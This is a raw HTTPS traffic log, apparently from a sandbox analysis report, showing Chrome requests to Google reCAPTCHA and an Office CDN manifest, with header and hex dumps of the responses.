2024-04-26 08:00:27 UTC	855	OUT	GET /recaptcha/api2/reload?k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AEdsM9PBd4T67RtdaI0mdEL_uu8eNgF12ZP6FP7kis4OG7eqb8-huCUxW2Qj58opj1xX0P5uOm7oXCy7lgA3H6g; AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:27 UTC	518	IN	HTTP/1.1 405 HTTP method GET is not supported by this URL Content-Type: text/html; charset=UTF-8 Date: Fri, 26 Apr 2024 08:00:27 GMT Expires: Fri, 26 Apr 2024 08:00:27 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 08:00:27 UTC	244	IN	Data Raw: 65 65 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 21 2d 2d 20 47 53 45 20 44 65 66 61 75 6c 74 20 45 72 72 6f 72 20 2d 2d 3e 0a 3c 48 31 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72 72 6f 72 20 34 30 35 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d 0a Data Ascii: ee<HTML><HEAD><TITLE>HTTP method GET is not supported by this URL</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">... GSE Default Error --><H1>HTTP method GET is not supported by this URL</H1><H2>Error 405</H2></BODY></HTML>
2024-04-26 08:00:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50054	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:27 UTC	651	OUT	GET /wise-m/owl/5mttl/production/100/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:27 UTC	1137	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 247 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Fri, 26 Apr 2024 08:00:27 GMT Last-Modified: Fri, 26 Apr 2024 07:15:37 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=1142241190093950832211057191753554983637"}],"include_subdomains ":true} Server: ECAcc (mid/876D) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: fc85a36b-601e-0042-31af-97d180000000 Content-Length: 3290 Connection: close
2024-04-26 08:00:27 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 34 32 34 2e 31 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 33 35 38 31 39 64 38 66 35 37 30 66 61 32 33 63 64 62 39 35 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 41 56 70 71 2f 6a 46 66 2f 4c 64 32 33 73 6b 48 46 6d 2b 32 37 74 72 52 79 45 68 6a 58 70 71 74 37 47 66 71 32 7a 6a 54 35 62 41 77 4a 38 57 73 70 39 6a 4d 6f 68 61 46 4f 68 53 37 4a 72 41 52 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 39 30 34 62 36 34 36 32 34 33 64 66 35 39 38 61 62 31 31 39 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 6c 54 69 69 4c 38 79 30 31 44 78 67 76 2f 74 4c 54 62 4e 61 65 6d 42 59 4d 70 75 6e 35 47 6c 4f 58 31 67 35 66 61 53 32 47 69 47 Data Ascii: {"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50059	142.250.217.228	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:27 UTC	1333	OUT	GET /recaptcha/api2/payload?p=06AFcWeA7MmaaXs6MoyMD0u-3j4jqR4mQ6pB-5cQII2R4wVQ0vHzppYhvDZKreLSkB4OwOV-5pOFNqTd6iJxdKG_MYtUqBMj3wZ-tBh-9F5I2bvJN9LY6Mwih7HGi6O154fIZZt0SqnIYLIPXudwwQ1ZDCUWJJ6rPXRJhkkAWRxcM_cIKsXcw9jzjy-POTft2040Slxkv8vdNv&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AEdsM9PBd4T67RtdaI0mdEL_uu8eNgF12ZP6FP7kis4OG7eqb8-huCUxW2Qj58opj1xX0P5uOm7oXCy7lgA3H6g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:27 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 26 Apr 2024 08:00:27 GMT Date: Fri, 26 Apr 2024 08:00:27 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 08:00:27 UTC	6	IN	Data Raw: 36 43 46 44 0d 0a Data Ascii: 6CFD
2024-04-26 08:00:27 UTC	1255	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C,,"}!1AQa"q2
2024-04-26 08:00:27 UTC	1255	IN	Data Raw: d6 c3 83 92 39 a7 ef 88 30 23 00 1e a3 1d 2b 10 c3 3e 53 24 f2 09 eb 53 9f 39 48 65 6e a3 a5 2e 61 26 6a a4 16 ce 77 64 11 d4 f3 5d f6 bd e3 af 0b da a3 a5 ae bf 6d 73 2a a1 01 6d 03 dc 8d dd b3 e5 03 5e 5d 6b 2b ff 00 cb 53 85 22 aa bd a6 a0 c9 bb ce f9 00 40 15 17 6f 18 e7 a0 f5 f7 ae fc 13 f8 be 47 36 26 56 b1 65 7c 77 ae ff 00 6a db dd 5f 5d 5f 2d 9a 4a 0c cd 05 b2 b0 65 ee 3c b6 c3 7f 33 5e bd e1 6d 42 c3 59 9a 1b ed 32 e0 4f 6f 25 bb 95 60 08 3f 79 3a 83 c8 3c 74 35 e2 5f 63 68 93 f7 ab 29 67 20 96 2d 9e c7 de b5 2d 61 41 a6 c3 b6 6b 88 5e 29 d9 e2 96 09 9a 29 11 b0 39 0c 0d 77 73 de 47 3c 65 65 76 7b b3 29 07 ad 60 78 cd 55 ec ed d1 c0 65 66 60 41 e8 78 ac 1f 86 1e 23 d5 b5 3d 5b 51 d1 75 3b 9f b7 2d a4 11 cd 0d c3 c6 12 52 18 90 55 f6 f0 dd b9 c0 Data Ascii: 90#+>S$S9Hen.a&jwd]ms*m^]k+S"@oG6&Ve\|wj_]_-Je<3^mBY2Oo%`?y:<t5_ch)g --aAk^))9wsG<eev{)`xUef`Ax#=[Qu;-RU
2024-04-26 08:00:27 UTC	1255	IN	Data Raw: db 5c 92 4e d3 df 68 c6 32 0f 07 db a7 15 cf 78 17 c5 37 16 10 dd d8 25 8d 9d cc 77 84 34 cb 70 0b 6e da 32 1b af de c8 eb f8 d7 64 6a 2f 68 ad b1 9b 82 b5 8f 4c d3 7c 29 a8 4b ac cf aa 5b df d9 84 28 8b 1c 96 f7 4d b9 19 73 9e 54 71 d7 d6 ba 92 ba b4 29 1d be a9 a9 a5 e2 9c 98 41 03 78 c7 5f 9b 03 23 a7 5a f2 8b bf 88 fa 97 87 1e 1b 6d 3b 4f d3 62 8e 76 62 e1 22 3d 46 39 3c e4 9c 60 73 58 3a 27 8a f5 49 bc 5b 67 7d 77 7b 2c 8a 2e 09 d8 f2 16 da 87 39 45 0c 70 07 38 19 fc eb 4a b5 b9 1a 45 45 24 ac 7a b3 b4 49 f1 12 c3 7a 11 21 30 05 7e c4 6f fb a7 fa 57 61 76 4a 7c 4f b5 8f 1f 7b 46 97 8f fb 6c 95 e2 ff 00 14 f5 3f 32 e8 3d bd c0 11 bd ac 52 80 24 c6 ec 48 70 40 ee 46 6b 3f 45 f1 7f 88 6c b5 48 75 51 7f 71 75 71 14 26 18 fe d4 c6 50 a8 7f 87 04 d6 aa 7a Data Ascii: \Nh2x7%w4pn2dj/hL\|)K[(MsTq)Ax_#Zm;Obvb"=F9<`sX:'I[g}w{,.9Ep8JEE$zIz!0~oWavJ\|O{Fl?2=R$Hp@Fk?ElHuQquq&Pz
2024-04-26 08:00:27 UTC	333	IN	Data Raw: a8 fc f2 aa 76 8f 9b 3c d6 74 4a c4 f5 20 d3 bc f7 53 b4 0c d4 a1 7b 46 4d 35 cc ca 70 ab 9e 72 29 92 5e 3f 20 ae 79 e9 9a 6c b2 33 a8 7c e0 fa 53 56 32 49 3d ba 9a 64 ba 8c 91 ae 21 28 17 cb 1e e6 a1 31 c7 21 0c a4 63 bd 3a 5b 4c 2f de 01 8f bd 22 59 b6 ef be 0e 0f 34 83 9a e3 7e ce 99 ca 48 cc c7 a5 78 dc 02 ee e6 f4 5b 41 69 2b bc 8d 90 a0 1e 7d f1 5e e4 b1 61 89 60 ad 91 c7 6e 6b 83 8b 58 f0 cd bf 88 57 57 83 4f 90 cc 30 c1 37 6c 52 c3 39 20 74 f4 ae 8a 1c ba dc 89 7b c4 17 be 1c d6 ad f4 68 ed ff 00 b0 75 26 b8 7c b0 31 c6 cc 8a 3d cf 39 c8 c7 43 c5 55 f0 e7 85 7c 41 34 d6 92 dc 69 92 c7 6d 2f cc 5b 7a 86 fb bf 29 db 9c fa 76 cf 35 d4 5b eb fe 2b ba 8d 6e ac a2 b7 b7 52 a5 d1 e7 c0 de 9e a1 5b 39 e9 9c e2 a1 d3 b5 cb db 9b 51 0d eb 3b f9 18 87 09 1a Data Ascii: v<tJ S{FM5pr)^? yl3\|SV2I=d!(1!c:[L/"Y4~Hx[Ai+}^a`nkXWWO07lR9 t{hu&\|1=9CU\|A4im/[z)v5[+nR[9Q;
2024-04-26 08:00:27 UTC	1255	IN	Data Raw: cf 5c 64 b1 f4 ac 9f 12 db 0b bd 31 ec 6f ef 9e 3b 92 eb 3c 49 2b ac 8c 48 0c 36 9c 73 d0 9c 1a da 58 59 3f 7a 41 cf 19 37 ca 66 27 88 6f f5 9d 31 61 bb 86 cd 9b 60 85 5c 40 37 05 1d 39 e7 1d 7b 57 4f e1 3d 03 c3 ff 00 6d f2 75 db f7 4b 99 33 2f d9 ee 23 91 14 a6 ee ce 08 e7 af 1d 87 35 c4 db d9 3d 9c 4b e5 5d c4 5c 12 40 ff 00 26 b6 6d f5 3d 7a f1 24 8f ed 77 6c ce 36 84 4e 18 1f cb 22 b1 95 68 df dd 34 51 ba d4 f5 4d 56 c7 e1 e4 89 04 36 da 2b ea 0d 6e af e5 88 ae a4 c4 21 bb 90 5c 03 ce 3a e7 bd 71 f7 76 6b 61 65 1c 36 a4 da c4 59 25 42 eb b5 dc a0 6e c3 77 38 72 0f 4e 83 a7 39 e5 ee fc 45 71 a4 48 ba 76 ae 92 4f 31 28 7e d7 e5 10 e8 b8 c1 04 83 86 19 1e 99 04 1c 13 d2 a4 f0 f7 8b 44 da ca e9 ff 00 67 96 6b 56 73 ba e1 62 21 b0 03 7d d2 71 81 d3 f8 72 Data Ascii: \d1o;<I+H6sXY?zA7f'o1a`\@79{WO=muK3/#5=K]\@&m=z$wl6N"h4QMV6+n!\:qvkae6Y%Bnw8rN9EqHvO1(~DgkVsb!}qr
2024-04-26 08:00:27 UTC	1255	IN	Data Raw: b4 ad 80 cd 83 b4 9e dd a9 99 57 60 a5 87 3e d4 85 cc 45 31 72 fd 06 0f 40 29 10 ca e8 e0 29 1c 74 c5 4e b1 c6 d2 29 2e 17 07 e6 f7 a9 23 20 1c 8f 9c 00 71 8a 05 b9 0a 44 f2 8d a4 61 57 ae 69 ee 51 02 ab 7c d8 1d 69 8d 21 76 60 c4 03 ed d7 14 d3 10 2c 77 4e 40 3c e0 8a 04 df 61 e6 65 de 42 f2 31 c0 f4 af 24 d0 7c 23 e2 1d 61 03 1d 3e 64 87 1f 2c 93 9d 8a 07 a8 cf 24 7d 01 af 57 54 03 20 02 4e d0 41 ed cd 63 ea 3a d5 cd ff 00 c9 20 91 23 3f f2 cd 18 6d fc b1 fc eb af 09 1e 6b dc 16 a7 9b ea 5e 0e d6 ec 24 95 63 31 de b2 9f dd b4 57 0a 71 ed 82 73 d7 da a8 3e 9d e2 38 cf cd a2 cf f8 36 7f 91 af 4f 8d 95 57 1c fe 20 d3 8b 00 3a 0f ca bd 58 d6 9c 76 65 3a 71 7b 9e 56 b0 6b a2 55 56 b4 be b6 43 f7 99 41 5f a0 dd ce 3e b5 76 c0 eb 77 37 22 de 5f ed 06 80 3f 32 Data Ascii: W`>E1r@))tN).# qDaWiQ\|i!v`,wN@<aeB1$\|#a>d,$}WT NAc: #?mk^$c1Wqs>86OW :Xve:q{VkUVCA_>vw7"_?2
2024-04-26 08:00:27 UTC	1255	IN	Data Raw: 91 b1 cf 00 63 e9 56 0c 59 2a 03 32 80 07 ca 3b fd 6a 2f b4 c4 4b b8 da b4 7d b0 0e 4f 5c 53 b0 d3 25 9a 34 0e 49 0a 3b 31 cd 43 b2 11 19 f3 3e 72 38 34 4f 24 0d 0e fd ed bb 19 fa d4 2a 3c d0 a8 55 b3 d7 9e 2a 80 9f ed 10 18 82 c4 5b 71 e3 e9 ed 5c b2 bc dd 76 85 1e f5 d3 5a 42 48 91 70 a1 48 39 24 72 2b 9a c6 7a 1e 7e b5 db 83 5f 17 c8 a4 31 da 67 21 56 40 83 b9 0b cd 39 23 41 d4 96 3e a4 9a 70 8c 03 d6 a5 01 47 53 8a ed b1 69 8c 05 47 45 03 e8 d4 6f 1c 8c 50 40 27 81 cd 02 31 9f fe bd 03 23 f9 49 ed 4a 42 9f a7 a7 ad 29 88 e7 de 93 6b 03 93 d2 98 12 ae 30 38 a7 02 7b 54 69 c2 d3 94 90 71 da 80 1e 33 c9 f4 a9 14 71 51 07 35 20 3c 64 9c 53 19 28 c0 1d 69 7c d5 1d 40 35 1f 5e 71 9a 5c 91 d1 80 f6 a4 17 38 7d 4b 50 bd 37 4f 11 6d d1 ee c4 65 78 c3 7c db 41 Data Ascii: cVY2;j/K}O\S%4I;1C>r84O$<U*[q\vZBHpH9$r+z~_1g!V@9#A>pGSiGEoP@'1#IJB)k08{Tiq3qQ5 <dS(i\|@5^q\8}KP7Omex\|A
2024-04-26 08:00:27 UTC	1255	IN	Data Raw: 7b 8b 81 ff 00 09 bb dc cd 1c ac a7 fe 25 8d 96 41 9d af 93 26 3e 6c 1e 33 c5 7a b7 83 96 33 e0 ad 14 48 03 0f b1 43 9c ff 00 b8 2a c5 bc c2 4b bf 36 ca 45 31 99 9b c9 04 71 b4 37 ca 72 79 e8 47 5a c2 84 55 24 f9 15 8d eb c6 33 6b 98 f0 e8 fe 0a c9 2f d9 8a 78 a9 81 9c 31 50 da 76 30 02 a3 73 fb de bf 3f e9 57 3f e1 47 ca 4f 95 73 e2 b6 31 81 92 0e 9a 49 fc 07 9b cf e0 6b d8 84 de 63 af 9a db 8a ca cd 19 65 00 8d c0 06 00 8e a3 80 7b d3 23 49 e7 bc 94 12 1f f7 ea b1 c4 06 18 8d 9d bf 1e e3 d4 56 fe da 4f a9 cf ec 20 95 da 3c ca 0f 84 d0 db c4 96 0b ae 04 28 8a fb 96 c7 01 89 38 e7 e7 fd 6a d5 bf c2 cc 26 c6 d7 f1 80 30 4d 9e 33 ff 00 8f d7 a3 2a fc a8 24 72 e6 58 80 91 41 c1 23 23 19 03 af 26 a1 30 4c b7 86 e6 19 77 89 0a 06 5e 98 da a7 a7 3d f2 3f 2a e7 Data Ascii: {%A&>l3z3HCK6E1q7ryGZU$3k/x1Pv0s?W?GOs1Ikce{#IVO <(8j&0M3$rXA##&0Lw^=?*
2024-04-26 08:00:27 UTC	1255	IN	Data Raw: c8 60 fc 03 b5 54 31 04 02 c4 75 e2 aa 14 e3 4f 62 e1 0b df 4d 8f 9d d3 c4 fb d9 b6 e9 e4 00 48 04 cb 82 7f 4a 7d cf 88 d2 0b b8 ad a4 b6 c4 92 8c af cf ff 00 d6 a6 5f db 49 7f e2 2b f3 14 0d e6 cf 7b 2e d8 c2 e3 92 e7 a0 ed 57 26 f0 ce a5 ff 00 0b 5f 41 d2 05 dc 3a 7d cc d6 e5 d2 76 51 2a a6 04 87 25 72 01 fb a4 75 ef 5b 35 a5 c5 6b 4f 95 91 7f 6c 12 70 b6 d9 cf a4 c2 9e 75 29 58 e3 ec 87 fe fe 0f f0 ae e2 6d 2f c5 b2 a2 c7 27 8c 4c 91 81 f2 c7 36 99 0b 22 f1 d3 0c 0d 60 c9 e0 cf 1a 5c dc ac f1 5b c5 71 0e d3 21 91 74 bb 58 c3 29 24 12 30 be dd 08 cf 7a e7 8d 55 2d 8e 89 d0 71 dc c6 3a 9c 88 c1 5a d4 0c 8e 33 28 ff 00 0a 6e a1 ab ae 9f 3a 45 7b 03 44 65 4d ca 77 02 08 15 ce 78 f3 4e be d0 75 48 2d af 16 e1 2e 26 43 26 d2 51 46 37 10 36 ec 3e dc e4 0a b7 Data Ascii: `T1uObMHJ}_I+{.W&_A:}vQ*%ru[5kOlpu)Xm/'L6"`\[q!tX)$0zU-q:Z3(n:E{DeMwxNuH-.&C&QF76>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50060	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:27 UTC	397	OUT	GET /wise-m/owl/5mttl/production/100/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:28 UTC	1137	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 248 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Fri, 26 Apr 2024 08:00:28 GMT Last-Modified: Fri, 26 Apr 2024 07:15:37 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=1402619527440902046714249905812609709599"}],"include_subdomains ":true} Server: ECAcc (mid/876D) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: fc85a36b-601e-0042-31af-97d180000000 Content-Length: 3290 Connection: close
2024-04-26 08:00:28 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 34 32 34 2e 31 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 33 35 38 31 39 64 38 66 35 37 30 66 61 32 33 63 64 62 39 35 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 41 56 70 71 2f 6a 46 66 2f 4c 64 32 33 73 6b 48 46 6d 2b 32 37 74 72 52 79 45 68 6a 58 70 71 74 37 47 66 71 32 7a 6a 54 35 62 41 77 4a 38 57 73 70 39 6a 4d 6f 68 61 46 4f 68 53 37 4a 72 41 52 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 39 30 34 62 36 34 36 32 34 33 64 66 35 39 38 61 62 31 31 39 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 6c 54 69 69 4c 38 79 30 31 44 78 67 76 2f 74 4c 54 62 4e 61 65 6d 42 59 4d 70 75 6e 35 47 6c 4f 58 31 67 35 66 61 53 32 47 69 47 Data Ascii: {"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiG

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	50066	142.250.64.196	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:28 UTC	1065	OUT	GET /recaptcha/api2/payload?p=06AFcWeA7MmaaXs6MoyMD0u-3j4jqR4mQ6pB-5cQII2R4wVQ0vHzppYhvDZKreLSkB4OwOV-5pOFNqTd6iJxdKG_MYtUqBMj3wZ-tBh-9F5I2bvJN9LY6Mwih7HGi6O154fIZZt0SqnIYLIPXudwwQ1ZDCUWJJ6rPXRJhkkAWRxcM_cIKsXcw9jzjy-POTft2040Slxkv8vdNv&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AEdsM9PBd4T67RtdaI0mdEL_uu8eNgF12ZP6FP7kis4OG7eqb8-huCUxW2Qj58opj1xX0P5uOm7oXCy7lgA3H6g; AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:28 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 26 Apr 2024 08:00:28 GMT Date: Fri, 26 Apr 2024 08:00:28 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
